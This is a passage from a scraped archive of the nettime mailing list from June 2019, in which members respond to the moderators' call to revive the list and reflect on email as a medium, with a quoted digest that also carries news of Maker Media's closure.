came here because I am trying to develop as an artist, working with the net as a medium and reflecting critically on the net and its constituent parts. I don't post in to every thread because a lot of the time I don't have anything worthwhile to add, but I appreciate reading: most of the contributions on this list are really insightful.The fact that people are posting meta threads like this is a good sign to me, I appreciate a community that can take a critical view of itself. If nettime does rap up, let me know where you all go, I'd like to talk more. :)JohnOn 7 June 2019 18:38:46 BST, nettime mod squad <nettime@kein.org> wrote:\nNettime is in bad shape, don't you think?It has still a lot of goodwill, and more generally there's renewedinterest in formats of exchange and collective thinking thataren't defined by the logic of social media. But the dynamics thatsocial media companies exploit are hardly limited to a handful ofplatforms. For example, nettime has its own 'influencers' -- a 1%,so to speak -- who generate the vast majority of list traffic.That's been true for years. The discussions they sustain mayvariously seem interesting or annoying, but either way they'vebecome somewhat formulaic. An attentive reader knows more or lesswhat to expect based solely the subject and the sender; and evenmeta-discussions about whether the list is dominated or by this orthat tendency are largely dominated by the same few people.Some might argue the debates that have animated nettime over thelast year -- the trajectories of postwar society, neoliberalism,the 'digital,' complexity, surveillance and big tech, Brexit,media and elections, Assange, even the Anthropocene in all itsterrifying inclusiveness -- are the defining issues of the day.Maybe so. But if the nettime project had settled for a consensusmodel of the defining issues of the mid-'90s, it would never havegotten off the ground, and it certainly wouldn't exist almost 25years later. The challenge, we think, is to maintain a space thatattracts ill-defined ideas and uncertain issues -- things andnot-things that don't quite exist yet and yet haven't been buriedunder torrents of authority and theory.So, what can we do?In the past, we've asked people to think about outreach -- say,inviting new people from new contexts. It seems like that's hadlimited success; but at a time when nettime has been limpingalong, it's hard to get excited about inviting people to join anenvironment so heavily defined by habit. We've also joked thatshutting it down before it fades into complete senescence might bebest. But that joke wasn't really funny, in part because it wasn'tmeant to be: it was a way of expressing serious concerns about thelist's increasingly parochial status.Now, we have a simple proposal: let's switch roles.It goes like this:If you've posted more than others to the list in the last 60 or 90or 120 or 180 days -- the math matters less than the spirit -- takea break. Let others define nettime, a space made up of nearly 5000subscribers.If you haven't posted to the list -- say, because it seemed likeyour ideas, concerns, or whatever you want to share wouldn't fitwith nettime's habits -- maybe that will change.Think of it as an un-grand experiment: a way to see what elsemight happen, who else might speak, what less familiar ideas,perspectives, or styles might spring up. Maybe the list will fadeinto silence, and we'll be left with a paradoxical object, a listcomposed *entirely* of lurkers -- not such a bad non-end fornettime. Or maybe not. There might be many ways to find out. Fornow, rather than the 1% debating how narrowly to define goodmanners, let's see if a different 'we' can change things.-- the mod squad (Ted and Felix)#  distributed via <nettime>: no commercial use without permission#  <nettime>  is a moderated mailing list for net criticism,#  collaborative text filtering and cultural politics of the nets#  more info: http://mx.kein.org/mailman/listinfo/nettime-l#  archive: http://www.nettime.org contact: nettime@kein.org#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:#\n\n distributed via <nettime>: no commercial use without permission\n#\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n#\n\n collaborative text filtering and cultural politics of the nets\n#\n\n more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#\n\n archive: http://www.nettime.org contact: nettime@kein.org\n#\n\n @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                        "id": "00018",
                        "date": "Sat, 08 Jun 2019 15:06:56 +0100",
                        "to": "nettime-l@mail.kein.org",
                        "message-id": "07A59428&#45;BF8F&#45;419B&#45;841A&#45;EA06BDDB2B98@riseup.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1906/msg00018.html",
                        "content-type": "multipart/mixed",
                        "author_name": "John Preston",
                        "subject": "Re: <nettime> Nettime is in bad shape. Let's see if we can change\tit."
                    },
                    {
                        "follow-up": [
                            {
                                "from": "\"Tom Keene\" <tom@theanthillsocial.co.uk>",
                                "content": "Hi Ren\u00e9e,RE: I tend to make egregious typos & grammatical mistakes that I don't catch until it's about a week later.\n\nSame with me, i'm dyslexic and much prefer making and programming as a way to understand the world. On social media, particularly Twitter, I've learnt not to worry so much, though Nettime is a more intimidating space...\n\n Tom On Tue, 11 Jun 2019, at 6:20 AM, Ren\u00e9e Lynn Reizman wrote:Been a lurker on here for about 2 years. I am constantly thrilled by the names I see\n\n popping up on this listserv. Seems like there are many members on here who write or create things I admire. The conversations can be a bit intimidating sometimes, but mostly I avoid chiming in because I tend to make egregious typos & grammatical mistakes that I don't catch until it's about a week later.\n\nAnyways, just wanted to say hello!Ren\u00e9ehttp://www.reneereizman.comOn Sun, Jun 9, 2019 at 9:51 AM <nettime-l-request@mail.kein.org> wrote:Send nettime-l mailing list submissions to \n\n \n\n \n\n \n\n nettime-l@mail.kein.org  To subscribe or unsubscribe via the World Wide Web, visit \n\n \n\n \n\n \n\n http://mx.kein.org/mailman/listinfo/nettime-l or, via email, send a message with subject or body 'help' to \n\n \n\n \n\n \n\n nettime-l-request@mail.kein.org  You can reach the person managing the list at \n\n \n\n \n\n \n\n nettime-l-owner@mail.kein.org  When replying, please edit your Subject line so it is more specific than \"Re: Contents of nettime-l digest...\"   Today's Topics:  \n\n \n\n1. Re: Nettime is in bad shape. Let's see if we can change\n\n \n\nit. \n\n \n\n \n\n (voyd@voyd.com)   ----------------------------------------------------------------------  Message: 1 Date: Sun, 09 Jun 2019 12:47:10 -0400 From: voyd@voyd.com To: nettime-l@mail.kein.org Subject: Re: <nettime> Nettime is in bad shape. Let's see if we can \n\n \n\n \n\n \n\n change\n\n it. Message-ID: \n\n \n\n \n\n \n\n <1560098830.vqwx9ks2884g40c0@hostingemail.digitalspace.net\">1560098830.vqwx9ks2884g40c0@hostingemail.digitalspace.net> Content-Type: text/plain; charset=\"utf-8\"      Thanks, Sean and all for these salient replies. I have often been active here, but had been offline more than I like related to living in Arabia; some things you'd imagine, others not. More than anything else, I have been creating a VR research center and doing a snowstorm of paperwork. My intentions are to be here more, as my research is revving up again.  I value Nettime a great deal in that it remains one of the places where a high concentration of fine minds, whether they pop in or out like virtual particles int he cyber-aether, usually pop out clear thought.  Another thing is that for the past three years, I have been traveling into Central Asia, Married an Iranian, coming to know the Eastern Hemisphere, and seeing what Geert Lovink and I had long discussions on here in Abu Dhabi relating the slide of Krokerian Bimodernism to American global colonial war capitalism under the Plan for the New American Century to the collapse into spheres of influence with the rise of Trump.&nbsp; Actually a lot more than this, but the flood of understanding has taken a while to coalesce.  Looking forward to more conversation.   On Sat, 8 Jun 2019 15:21:58 +0000, Sean Cubitt\n\n wrote:      I've been active long ago, and lurking for a decade or more, with only sporadic comments and adds: this look like a good prod to get us silent majority out of the closet.  &nbsp;  the thing that keeps nettime valuable is a) the contributors,&nbsp;timeliness, and&nbsp;swift smart dialogues and b) that there still seems to be a common purpose.&nbsp;  &nbsp;  social media start taking the forefront about ten years ago. The neo-populist right begins to replace the neo-liberal right about ten years ago. Is there some shared diagram?&nbsp;  &nbsp;  Other lists died for their own reasons: one because it seemed like everything interesting was on blogs, back when the blogosphere was a thing. Another because a concept / art movement / political trajectory could be exhausted so fast it scarcely seemed worth inventing new concepts etc.&nbsp;  &nbsp;  Mailing lists are asynchronous, which is great: more time to think; less kudos for fast reaction times. More consideration in every sense of the word  &nbsp;  in a few days I'll try to post something closer than this reflection on the medium to what I think this list is for: the aesthetics,&nbsp;politics and&nbsp;aesthetic&nbsp;politics of the early C21st --&nbsp;consideration, wonder and hope  &nbsp;    Sean  &nbsp;  &nbsp;      From: nettime-l-bounces@mail.kein.org &lt;nettime-l-bounces@mail.kein.org&gt; on behalf of nettime-l-request@mail.kein.org &lt;nettime-l-request@mail.kein.org&gt; Sent: 08 June 2019 15:45 To: nettime-l@mail.kein.org Subject: nettime-l Digest, Vol 141, Issue 11  &nbsp;    Send nettime-l mailing list submissions to &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; nettime-l@mail.kein.org  To subscribe or unsubscribe via the World Wide Web, visit &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n\n http://mx.kein.org/mailman/listinfo/nettime-l        \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n &nbsp;  \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n nettime-l Info Page - mx.kein.org  \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n mx.kein.org  \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n -- a moderated mailing list for net criticism &lt;nettime&gt; is not just a mailing list but an effort to formulate an international, networked discourse that neither promotes a dominant euphoria (to sell products) nor continues the cynical pessimism, spread by journalists and intellectuals in the 'old' media who generalize about 'new' media with no clear understanding of their communication aspects ...        or, via email, send a message with subject or body 'help' to &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; nettime-l-request@mail.kein.org  You can reach the person managing the list at &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; nettime-l-owner@mail.kein.org  When replying, please edit your Subject line so it is more specific than \"Re: Contents of nettime-l digest...\"   Today's Topics:  &nbsp;&nbsp; 1. Re: Nettime is in bad shape. Let's see if we can change&nbsp;&nbsp; it. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (John Preston) &nbsp;&nbsp; 2. The Maker Movement is abandoned by its corporate sponsors; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; throws in the towel (Bruce Sterling) &nbsp;&nbsp; 3. Re: Nettime is in bad shape. Let's see if we can change&nbsp;&nbsp; it. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (John Preston)   ----------------------------------------------------------------------  Message: 1 Date: Sat, 08 Jun 2019 15:06:56 +0100 From: John Preston &lt;wcerfgba@riseup.net&gt; To: nettime-l@mail.kein.org Subject: Re: &lt;nettime&gt; Nettime is in bad shape. Let's see if we can &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; change&nbsp; it. Message-ID: &lt;07A59428-BF8F-419B-841A-EA06BDDB2B98@riseup.net&gt; Content-Type: text/plain; charset=\"utf-8\"  Just forwarding this up.   -------- Original Message -------- From: Karim Brohi &lt;karim@trauma.org&gt; Sent: 8 June 2019 14:35:45 BST To: John Preston &lt;wcerfgba@riseup.net&gt; Subject: Re: &lt;nettime&gt; Nettime is in bad shape. Let's see if we can change it.  Nettime is in bad shape - as are most (all?) of the email based discussion groups on the Interwebs now. I run another mailing list, started in 1995 in a medical specialty area- - which finds itself in the same state.&nbsp; Back then email was cool.&nbsp; Now, for most, email tends to be a flood of work stuff and a pseudo todo list. Drafting an email is now work, and not associated with pleasure or pure intellectual pursuit.  But there's no other suitable medium either.&nbsp; Social media platforms are too brief to develop ideas.&nbsp; Too easy to fire back \"your idea is stupid\". Blog posts and newsletters are too one-sided.&nbsp; Developed/owned by a specific individual/group of individuals, Comments never have the same precedence as the original post.&nbsp; The post 'belongs' to the originator, not to the community.  Maybe usenet/google groups comes close, but nobody uses them - perhaps because there's no (effective) 'app for that', and there has to be an active process of logging in.&nbsp; (Email alerts end up in... email).  In brief - I think it's the medium not the message.&nbsp; The whole Internet needs a new medium that encourages long-form discourse and thereby deep community.&nbsp; That was email, but now it isn't email.&nbsp; I don't know what&nbsp; is now.  Karim      On Fri, 7 Jun 2019 at 21:34, John Preston &lt;wcerfgba@riseup.net&gt; wrote:  &gt; Just adding my two cents, as per the call. :) &gt; &gt; I only discovered nettime in the last few months. I'm a computer-child, &gt; I've grown up on the net, and one of the people who now take a more &gt; conservative or critical approach to tech. I came here because I am trying &gt; to develop as an artist, working with the net as a medium and reflecting &gt; critically on the net and its constituent parts. I don't post in to every &gt; thread because a lot of the time I don't have anything worthwhile to add, &gt; but I appreciate reading: most of the contributions on this list are really &gt; insightful. &gt; &gt; The fact that people are posting meta threads like this is a good sign to &gt; me, I appreciate a community that can take a critical view of itself. If &gt; nettime does rap up, let me know where you all go, I'd like to talk more. :) &gt; &gt; John &gt; &gt; On 7 June 2019 18:38:46 BST, nettime mod squad &lt;nettime@kein.org&gt; wrote: &gt;&gt; &gt;&gt; Nettime is in bad shape, don't you think? &gt;&gt; &gt;&gt; It has still a lot of goodwill, and more generally there's renewed &gt;&gt; interest in formats of exchange and collective thinking that &gt;&gt; aren't defined by the logic of social media. But the dynamics that &gt;&gt; social media companies exploit are hardly limited to a handful of &gt;&gt; platforms. For example, nettime has its own 'influencers' -- a 1%, &gt;&gt; so to speak -- who generate the vast majority of list traffic. &gt;&gt; That's been true for years. The discussions they sustain may &gt;&gt; variously seem interesting or annoying, but either way they've &gt;&gt; become somewhat formulaic. An attentive reader knows more or less &gt;&gt; what to expect based solely the subject and the sender; and even &gt;&gt; meta-discussions about whether the list is dominated or by this or &gt;&gt; that tendency are largely dominated by the same few people. &gt;&gt; &gt;&gt; Some might argue the debates that have animated nettime over the &gt;&gt; last year -- the trajectories of postwar society, neoliberalism, &gt;&gt; the 'digital,' complexity, surveillance and big tech, Brexit, &gt;&gt; media and elections, Assange, even the Anthropocene in all its &gt;&gt; terrifying inclusiveness -- are the defining issues of the day. &gt;&gt; Maybe so. But if the nettime project had settled for a consensus &gt;&gt; model of the defining issues of the mid-'90s, it would never have &gt;&gt; gotten off the ground, and it certainly wouldn't exist almost 25 &gt;&gt; years later. The challenge, we think, is to maintain a space that &gt;&gt; attracts ill-defined ideas and uncertain issues -- things and &gt;&gt; not-things that don't quite exist yet and yet haven't been buried &gt;&gt; under torrents of authority and theory. &gt;&gt; &gt;&gt; So, what can we do? &gt;&gt; &gt;&gt; In the past, we've asked people to think about outreach -- say, &gt;&gt; inviting new people from new contexts. It seems like that's had &gt;&gt; limited success; but at a time when nettime has been limping &gt;&gt; along, it's hard to get excited about inviting people to join an &gt;&gt; environment so heavily defined by habit. We've also joked that &gt;&gt; shutting it down before it fades into complete senescence might be &gt;&gt; best. But that joke wasn't really funny, in part because it wasn't &gt;&gt; meant to be: it was a way of expressing serious concerns about the &gt;&gt; list's increasingly parochial status. &gt;&gt; &gt;&gt; Now, we have a simple proposal: let's switch roles. &gt;&gt; &gt;&gt; It goes like this: &gt;&gt; &gt;&gt; If you've posted more than others to the list in the last 60 or 90 &gt;&gt; or 120 or 180 days -- the math matters less than the spirit -- take &gt;&gt; a break. Let others define nettime, a space made up of nearly 5000 &gt;&gt; subscribers. &gt;&gt; &gt;&gt; If you haven't posted to the list -- say, because it seemed like &gt;&gt; your ideas, concerns, or whatever you want to share wouldn't fit &gt;&gt; with nettime's habits -- maybe that will change. &gt;&gt; &gt;&gt; Think of it as an un-grand experiment: a way to see what else &gt;&gt; might happen, who else might speak, what less familiar ideas, &gt;&gt; perspectives, or styles might spring up. Maybe the list will fade &gt;&gt; into silence, and we'll be left with a paradoxical object, a list &gt;&gt; composed *entirely* of lurkers -- not such a bad non-end for &gt;&gt; nettime. Or maybe not. There might be many ways to find out. For &gt;&gt; now, rather than the 1% debating how narrowly to define good &gt;&gt; manners, let's see if a different 'we' can change things. &gt;&gt; &gt;&gt; &gt;&gt; -- the mod squad (Ted and Felix) &gt;&gt; &gt;&gt; #&nbsp; distributed via &lt;nettime&gt;: no commercial use without permission &gt;&gt; #&nbsp; &lt;nettime&gt;&nbsp; is a moderated mailing list for net criticism, &gt;&gt; #&nbsp; collaborative text filtering and cultural politics of the nets &gt;&gt; #&nbsp; more info:\n\n http://mx.kein.org/mailman/listinfo/nettime-l &gt;&gt; #&nbsp; archive:\n\n http://www.nettime.org contact: nettime@kein.org &gt;&gt; #&nbsp; @nettime_bot tweets mail w/ sender unless #ANON is in Subject: &gt;&gt; &gt;&gt; #&nbsp; distributed via &lt;nettime&gt;: no commercial use without permission &gt; #&nbsp; &lt;nettime&gt;&nbsp; is a moderated mailing list for net criticism, &gt; #&nbsp; collaborative text filtering and cultural politics of the nets &gt; #&nbsp; more info:\n\n http://mx.kein.org/mailman/listinfo/nettime-l &gt; #&nbsp; archive:\n\n http://www.nettime.org contact: nettime@kein.org &gt; #&nbsp; @nettime_bot tweets mail w/ sender unless #ANON is in Subject: -------------- next part -------------- An HTML attachment was scrubbed... URL: &lt;http://mx.kein.org/pipermail/nettime-l/attachments/20190608/490390ed/attachment-0001.html&gt;  ------------------------------  Message: 2 Date: Sat, 8 Jun 2019 16:21:37 +0200 From: Bruce Sterling &lt;bruces@well.com&gt; To: nettime-l@kein.org Subject: &lt;nettime&gt; The Maker Movement is abandoned by its corporate &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sponsors; throws in the towel Message-ID: &lt;A342CE24-4F26-441E-BDBE-38F833458B29@well.com&gt; Content-Type: text/plain;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; charset=utf-8  *Well, so much for the O?Reilly Web 2.0 version of popular mechanics.&nbsp; Fifteen years is not too bad a run by the standards of an increasingly jittery California Ideology.&nbsp; Now what? ? Bruce S   Maker Media goes broke https://hackaday.com/2019/06/07/maker-media-ceases-operations/  Over the years we?ve had the dubious honor of bidding farewell to numerous companies that held a special place in the hearts of hackers and makers. We?ve borne witness to the demise of Radio Shack, TechShop, and PrintrBot, and even shed a tear or two when Toys ?R? Us shut their doors. But as much as it hurt to see those companies go, nothing quite compares to this. Today we?ve learned that Maker Media has ceased operations.  Between the first issue of Make magazine in 2005 and the inaugural Maker Faire a year later, Maker Media deftly cultured the public face of the ?maker movement? for over a decade. They didn?t create maker culture, but there?s no question that they put a spotlight on this part of the larger tech world. In fact, it?s not an exaggeration to say that the shuttering of Maker Media could have far reaching consequences that we won?t fully understand for years.  While this news will surely come as a crushing blow to many in the community, Maker Media founder and CEO Dale Dougherty says they?re still trying to put the pieces together. ?I started the magazine and I?m committed to keeping that going because it means something to a lot of people and means something to me.? At this point, Dale tells us that Maker Media is officially in a state of insolvency. This is an important distinction, and means that the company still has a chance to right the ship before being forced to declare outright bankruptcy.  In layman?s terms, the fate of Make magazine and Maker Faire is currently uncertain?  ***  https://techcrunch.com/2019/06/07/make-magazine-maker-media-layoffs/  Financial troubles have forced Maker Media, the company behind crafting publication MAKE: magazine as well as the science and art festival Maker Faire, to lay off its entire staff of 22 and pause all operations. TechCrunch was tipped off to Maker Media?s unfortunate situation which was then confirmed by the company?s founder and CEO Dale Dougherty.  For 15 years, MAKE: guided adults and children through step-by-step do-it-yourself crafting and science projects, and it was central to the maker movement. Since 2006, Maker Faire?s 200 owned and licensed events per year in over 40 countries let attendees wander amidst giant, inspiring art and engineering installations?.  ?Maker Media Inc ceased operations this week and let go of all of its employees ? about 22 employees? Dougherty tells TechCrunch. ?I started this 15 years ago and it?s always been a struggle as a business to make this work. Print publishing is not a great business for anybody, but it works?barely. Events are hard ? there was a drop off in corporate sponsorship.? Microsoft and Autodesk failed to sponsor this year?s flagship Bay Area Maker Faire?.    ------------------------------  Message: 3 Date: Sat, 08 Jun 2019 07:45:08 -0700 From: John Preston &lt;wcerfgba@riseup.net&gt; To: nettime-l@mail.kein.org Subject: Re: &lt;nettime&gt; Nettime is in bad shape. Let's see if we can &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; change&nbsp; it. Message-ID: &lt;f8f8006bb46447a36e1e1a7d5171fbda@riseup.net&gt; Content-Type: text/plain; charset=US-ASCII  Each medium of communication has a different quality and bandwidth about it, and we can use a multitude of media -- nettime doesn't have to be /just/ a mailing list. Some of us might be better able to contribute via IRC or other more real-time media.  John  On 2019-06-08 15:06, John Preston wrote:  &gt; Just forwarding this up. &gt; &gt; ------------------------- &gt; FROM: Karim Brohi &lt;karim@trauma.org&gt; &gt; SENT: 8 June 2019 14:35:45 BST &gt; TO: John Preston &lt;wcerfgba@riseup.net&gt; &gt; SUBJECT: Re: &lt;nettime&gt; Nettime is in bad shape. Let's see if we can change it. &gt; &gt; Nettime is in bad shape - as are most (all?) of the email based discussion groups on the Interwebs now. &gt; I run another mailing list, started in 1995 in a medical specialty area- - which finds itself in the same state.&nbsp; Back then email was cool.&nbsp; Now, for most, email tends to be a flood of work stuff and a pseudo todo list.&nbsp; Drafting an email is now work, and not associated with pleasure or pure intellectual pursuit. &gt; &gt; But there's no other suitable medium either.&nbsp; Social media platforms are too brief to develop ideas.&nbsp; Too easy to fire back \"your idea is stupid\".&nbsp; Blog posts and newsletters are too one-sided.&nbsp; Developed/owned by a specific individual/group of individuals, Comments never have the same precedence as the original post.&nbsp; The post 'belongs' to the originator, not to the community. &gt; &gt; Maybe usenet/google groups comes close, but nobody uses them - perhaps because there's no (effective) 'app for that', and there has to be an active process of logging in.&nbsp; (Email alerts end up in... email). &gt; &gt; In brief - I think it's the medium not the message.&nbsp; The whole Internet needs a new medium that encourages long-form discourse and thereby deep community.&nbsp; That was email, but now it isn't email.&nbsp; I don't know what&nbsp; is now. &gt; &gt; Karim &gt; &gt; On Fri, 7 Jun 2019 at 21:34, John Preston &lt;wcerfgba@riseup.net&gt; wrote: &gt; Just adding my two cents, as per the call. :) &gt; &gt; I only discovered nettime in the last few months. I'm a computer-child, I've grown up on the net, and one of the people who now take a more conservative or critical approach to tech. I came here because I am trying to develop as an artist, working with the net as a medium and reflecting critically on the net and its constituent parts. I don't post in to every thread because a lot of the time I don't have anything worthwhile to add, but I appreciate reading: most of the contributions on this list are really insightful. &gt; &gt; The fact that people are posting meta threads like this is a good sign to me, I appreciate a community that can take a critical view of itself. If nettime does rap up, let me know where you all go, I'd like to talk more. :) &gt; &gt; John &gt; &gt; On 7 June 2019 18:38:46 BST, nettime mod squad &lt;nettime@kein.org&gt; wrote: &gt; &gt; Nettime is in bad shape, don't you think? &gt; &gt; It has still a lot of goodwill, and more generally there's renewed &gt; interest in formats of exchange and collective thinking that &gt; aren't defined by the logic of social media. But the dynamics that &gt; social media companies exploit are hardly limited to a handful of &gt; platforms. For example, nettime has its own 'influencers' -- a 1%, &gt; so to speak -- who generate the vast majority of list traffic. &gt; That's been true for years. The discussions they sustain may &gt; variously seem interesting or annoying, but either way they've &gt; become somewhat formulaic. An attentive reader knows more or less &gt; what to expect based solely the subject and the sender; and even &gt; meta-discussions about whether the list is dominated or by this or &gt; that tendency are largely dominated by the same few people. &gt; &gt; Some might argue the debates that have animated nettime over the &gt; last year -- the trajectories of postwar society, neoliberalism, &gt; the 'digital,' complexity, surveillance and big tech, Brexit, &gt; media and elections, Assange, even the Anthropocene in all its &gt; terrifying inclusiveness -- are the defining issues of the day. &gt; Maybe so. But if the nettime project had settled for a consensus &gt; model of the defining issues of the mid-'90s, it would never have &gt; gotten off the ground, and it certainly wouldn't exist almost 25 &gt; years later. The challenge, we think, is to maintain a space that &gt; attracts ill-defined ideas and uncertain issues -- things and &gt; not-things that don't quite exist yet and yet haven't been buried &gt; under torrents of authority and theory. &gt; &gt; So, what can we do? &gt; &gt; In the past, we've asked people to think about outreach -- say, &gt; inviting new people from new contexts. It seems like that's had &gt; limited success; but at a time when nettime has been limping &gt; along, it's hard to get excited about inviting people to join an &gt; environment so heavily defined by habit. We've also joked that &gt; shutting it down before it fades into complete senescence might be &gt; best. But that joke wasn't really funny, in part because it wasn't &gt; meant to be: it was a way of expressing serious concerns about the &gt; list's increasingly parochial status. &gt; &gt; Now, we have a simple proposal: let's switch roles. &gt; &gt; It goes like this: &gt; &gt; If you've posted more than others to the list in the last 60 or 90 &gt; or 120 or 180 days -- the math matters less than the spirit -- take &gt; a break. Let others define nettime, a space made up of nearly 5000 &gt; subscribers. &gt; &gt; If you haven't posted to the list -- say, because it seemed like &gt; your ideas, concerns, or whatever you want to share wouldn't fit &gt; with nettime's habits -- maybe that will change. &gt; &gt; Think of it as an un-grand experiment: a way to see what else &gt; might happen, who else might speak, what less familiar ideas, &gt; perspectives, or styles might spring up. Maybe the list will fade &gt; into silence, and we'll be left with a paradoxical object, a list &gt; composed *entirely* of lurkers -- not such a bad non-end for &gt; nettime. Or maybe not. There might be many ways to find out. For &gt; now, rather than the 1% debating how narrowly to define good &gt; manners, let's see if a different 'we' can change things. &gt; &gt; -- the mod squad (Ted and Felix) &gt; &gt; #&nbsp; distributed via &lt;nettime&gt;: no commercial use without permission &gt; #&nbsp; &lt;nettime&gt;&nbsp; is a moderated mailing list for net criticism, &gt; #&nbsp; collaborative text filtering and cultural politics of the nets &gt; #&nbsp; more info:\n\n http://mx.kein.org/mailman/listinfo/nettime-l &gt; #&nbsp; archive:\n\n http://www.nettime.org contact: nettime@kein.org &gt; #&nbsp; @nettime_bot tweets mail w/ sender unless #ANON is in Subject: &gt; #&nbsp; distributed via &lt;nettime&gt;: no commercial use without permission &gt; #&nbsp; &lt;nettime&gt;&nbsp; is a moderated mailing list for net criticism, &gt; #&nbsp; collaborative text filtering and cultural politics of the nets &gt; #&nbsp; more info:\n\n http://mx.kein.org/mailman/listinfo/nettime-l &gt; #&nbsp; archive:\n\n http://www.nettime.org contact: nettime@kein.org &gt; #&nbsp; @nettime_bot tweets mail w/ sender unless #ANON is in Subject:  #&nbsp; distributed via &lt;nettime&gt;: no commercial use without permission #&nbsp; &lt;nettime&gt;&nbsp; is a moderated mailing list for net criticism, #&nbsp; collaborative text filtering and cultural politics of the nets #&nbsp; more info:\n\n http://mx.kein.org/mailman/listinfo/nettime-l #&nbsp; archive:\n\n http://www.nettime.org contact: nettime@kein.org #&nbsp; @nettime_bot tweets mail w/ sender unless #ANON is in Subject:   ------------------------------  #&nbsp; distributed via &lt;nettime&gt;: no commercial use without permission #&nbsp; &lt;nettime&gt;&nbsp; is a moderated mailing list for net criticism, #&nbsp; collaborative text filtering and cultural politics of the nets #&nbsp; more info:\n\n http://mx.kein.org/mailman/listinfo/nettime-l  End of nettime-l Digest, Vol 141, Issue 11 ******************************************    # distributed via : no commercial use without permission #\n\n is a moderated mailing list for net criticism, # collaborative text filtering and cultural politics of the nets # more info: http://mx.kein.org/mailman/listinfo/nettime-l # archive: http://www.nettime.org contact: nettime@kein.org # @nettime_bot tweets mail w/ sender unless #ANON is in Subject:    -------------- next part -------------- An HTML attachment was scrubbed... URL: <http://mx.kein.org/pipermail/nettime-l/attachments/20190609/e0c01c2f/attachment.html>  ------------------------------  #\n\n distributed via <nettime>: no commercial use without permission #\n\n <nettime>\n\n is a moderated mailing list for net criticism, #\n\n collaborative text filtering and cultural politics of the nets #\n\n more info: http://mx.kein.org/mailman/listinfo/nettime-l  End of nettime-l Digest, Vol 141, Issue 14 ******************************************#\n\n distributed via <nettime>: no commercial use without permission#\n\n <nettime>\n\n is a moderated mailing list for net criticism,#\n\n collaborative text filtering and cultural politics of the nets#\n\n more info: http://mx.kein.org/mailman/listinfo/nettime-l#\n\n archive: http://www.nettime.org contact: nettime@kein.org#\n\n @nettime_bot tweets mail w/ sender unless #ANON is in Subject:#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                                "id": "00044",
                                "date": "Wed, 12 Jun 2019 16:18:51 +0100",
                                "to": "nettime-l@mail.kein.org",
                                "message-id": "06ab2728&#45;fed3&#45;4d4f&#45;b9c8&#45;f8b76fe1bb9d@www.fastmail.com",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1906/msg00044.html",
                                "content-type": "multipart/mixed",
                                "author_name": "Tom Keene",
                                "subject": "Re: <nettime> Nettime is in bad shape. Let's see if we can\tchange\tit."
                            }
                        ],
                        "from": "Ren\u00e9e Lynn Reizman <rlreizman@gmail.com>",
                        "content": "Been a lurker on here for about 2 years. I am constantly thrilled by the names I see\n\n popping up on this listserv. Seems like there are many members on here who write or create things I admire. The conversations can be a bit intimidating sometimes, but mostly I avoid chiming in because I tend to make egregious typos & grammatical mistakes that I don't catch until it's about a week later.\n\nAnyways, just wanted to say hello!Ren\u00e9ehttp://www.reneereizman.comOn Sun, Jun 9, 2019 at 9:51 AM <nettime-l-request@mail.kein.org> wrote:Send nettime-l mailing list submissions to\n\n\n \n\n \n\n \n\n nettime-l@mail.kein.org\n\nTo subscribe or unsubscribe via the World Wide Web, visit\n\n\n \n\n \n\n \n\n http://mx.kein.org/mailman/listinfo/nettime-l\nor, via email, send a message with subject or body 'help' to\n\n\n \n\n \n\n \n\n nettime-l-request@mail.kein.org\n\nYou can reach the person managing the list at\n\n\n \n\n \n\n \n\n nettime-l-owner@mail.kein.org\n\nWhen replying, please edit your Subject line so it is more specific\nthan \"Re: Contents of nettime-l digest...\"\n\n\nToday's Topics:\n\n\n\n \n\n1. Re: Nettime is in bad shape. Let's see if we can change\n\n \n\nit.\n\n\n \n\n \n\n (voyd@voyd.com)\n\n\n----------------------------------------------------------------------\n\nMessage: 1\nDate: Sun, 09 Jun 2019 12:47:10 -0400\nFrom: voyd@voyd.com\nTo: nettime-l@mail.kein.org\nSubject: Re: <nettime> Nettime is in bad shape. Let's see if we can\n\n\n \n\n \n\n \n\n change\n\n it.\nMessage-ID:\n\n\n \n\n \n\n \n\n <1560098830.vqwx9ks2884g40c0@hostingemail.digitalspace.net\" target=\"_blank\">1560098830.vqwx9ks2884g40c0@hostingemail.digitalspace.net>\nContent-Type: text/plain; charset=\"utf-8\"\n\n\n\n\n\nThanks, Sean and all for these salient replies.\nI have often been active here, but had been offline more than I like related to living in Arabia; some things you'd imagine, others not. More than anything else, I have been creating a VR research center and doing a snowstorm of paperwork. My intentions are to be here more, as my research is revving up again.\n\nI value Nettime a great deal in that it remains one of the places where a high concentration of fine minds, whether 